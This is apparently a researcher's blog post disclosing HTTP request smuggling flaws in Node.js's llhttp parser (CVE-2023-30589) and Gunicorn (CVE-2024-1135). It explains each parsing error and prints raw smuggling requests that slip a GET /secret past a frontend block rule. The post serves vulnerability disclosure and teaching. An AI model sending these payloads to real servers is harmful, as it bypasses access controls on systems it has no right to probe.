Skip to main content

Yadhu's Blog

Exploiting HTTP Request Smuggling in Node.js and Gunicorn

Table of Contents

In this blog post, we discuss two vulnerabilities that were identified during my research on HTTP Request Smuggling:

  • Node.js - CVE-2023-30589
  • Gunicorn - CVE-2024-1135

Few months back, I decided to do a research on HTTP Request Smuggling vulnerabilities. The research resulted in finding of multiple HTTP Request Smuggling vulnerabilities in some widely used HTTP Servers.

This blog post would be a deep dive into two publicly disclosed vulnerabilities that were found during the research.

# Node.js - CVE-2023-30589

## Description

The llhttp module included in Node.js (v20.2.0) did not correctly delimit incoming HTTP headers. This could be exploited to cause HTTP Request Smuggling.

The CR character (without LF) was sufficient to delimit HTTP header fields in the llhttp parser. According to RFC7230 section 3, only the CRLF sequence or LF alone should delimit each header-field.

Here’s the excerpt from RFC:

Although the line terminator for the start-line and header fields is the sequence CRLF, a recipient MAY recognize a single LF as a line terminator and ignore any preceding CR.

This meant that it was possible to send valid headers without proper delimiting.

## Exploitation

Consider a frontend server X that proxies the request to a Node.js llhttp backend. X correctly delimits headers only using CRLF. We know that the backend server exhibits the behavior as discussed above. Assume that frontend is configured to block requests to /secret endpoint.

A request is sent to the frontend server as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
GET / HTTP/1.1\r\n
Content-Length: 50\r\n
X-Hello: 123\rtransfer-encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /secret HTTP/1.1\r\n
Content-Length: 0\r\n
\r\n
\r\n

The frontend as discussed above, delimits the request headers using full CR LF sequence. Hence, sees the request coming with the following headers:

  • Content-Length: 50
  • X-Hello: 123\rtransfer-encoding: chunked

Frontend server does not see the smuggled request. as it delimits using Content-Length 50.

However, once the request reaches the backend server, the backend server, the backend server delimits the HTTP headers in the request, and sees it as:

  • Content-Length: 50
  • X-Hello: 123
  • Transfer-encoding: chunked

Now, RFC7230 states:

If a message is received with both a Transfer-Encoding and a Content-Length header field, the Transfer-Encoding overrides the Content-Length.

The backend server now sees both transfer-encoding and content-length headers. According to the above RFC, the backend server would then correctly ignore content-length field and parse the body using chunked encoding.

# Gunicorn - CVE-2024-1135

## Description

Gunicorn did not properly validate Transfer-Encoding headers. This could be exploited to cause HTTP Request Smuggling (HRS) attacks.

According to RFC7230,

A server that receives a request message with a transfer coding it does not understand SHOULD respond with 501 (Not Implemented).

This means that Gunicorn would consider invalid values for Transfer-Encoding header as chunked. And does not reject the request. This can be exploited to cause CL-TE HRS.

Example:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
GET / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked
Transfer-Encoding: anything

1
a
1
b
0

## Exploitation

Consider a set up in which a vulnerable version of Gunicorn server is used as a backend server.

A frontend server with the following behaviour is used in combination:

  1. Does not blindly reject requests with both CL and TE headers.
  2. Whenever an invalid TE header is found, it fallsback and delimits the request using CL header.
  3. Frontend is configured to block requests to /secret endpoint.

In such a scenario, the configured blacklist can be bypassed.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST /hello HTTP/1.1
Host: 172.24.10.161
Transfer-Encoding: chunked
Content-Length: 90
Transfer-Encoding: attack

1
a
0

GET /secret HTTP/1.1
Host: 172.24.10.161
Content-Length: 0

When a request as above is sent to a setup having the above configuration, the following happens:

  1. The frontend server sees the invalid TE header, and fallsback to Content-Length to identify the length of the request.
  2. The frontend considers the whole payload as the body of the request, and forwards to the backend.
  3. The backend Gunicorn server fails to recognize the invalid Transfer-Encoding, and assumes chunked encoding is to be applied.
  4. Backend also sees the Content-Length header, but it correctly prioritises Transfer-Encoding header rather than Content-length header.
  5. On applying chunked encoding, the backend would see it as two different requests.
  6. Since there is no blacklisting configured at backend the backend generates a response.